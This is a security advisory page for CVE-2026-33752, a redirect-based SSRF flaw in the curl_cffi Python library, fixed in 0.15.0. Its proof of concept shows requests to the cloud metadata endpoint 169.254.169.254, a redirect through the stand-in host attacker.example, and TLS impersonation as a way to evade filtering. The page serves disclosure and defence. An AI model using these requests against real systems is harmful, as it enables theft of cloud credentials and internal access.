CVE-2026-33752: curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)
Summary curlcffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curlcffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.
Published Apr 3, 2026 · Updated Apr 6, 2026
Affected packages
curl_cffi
- Ecosystem
- PyPI
- Affected
- < 0.15.0
- Fixed in
- 0.15.0
- Check
pip show curl_cffi
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.
Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.
Details
The issue comes from how curl_cffi handles outbound requests
- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).
- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.
- There is no validation of redirect destinations at the Python layer.
This means that even if an application only allows requests to external URLs, an attacker can
- Provide a URL pointing to an attacker-controlled server
- Return a redirect response pointing to an internal service
- Have curl_cffi follow that redirect automatically
As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.
Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block
This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.
PoC
- Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)- Redirect to internal service
Attacker server:
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/Victim code:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)Result
- Initial request goes to attacker server
- Redirect is returned
- libcurl follows the redirect automatically
- Internal metadata endpoint is accessed
- With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")In some environments, this may help the request bypass TLS-based filtering controls.
Impact
An attacker who can control the requested URL may be able to:
- Access internal network services
- Reach cloud metadata endpoints and retrieve sensitive information
- Bypass certain outbound filtering mechanisms (depending on environment)
This corresponds to CWE-918 Server-Side Request Forgery.
Credited to redyank.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
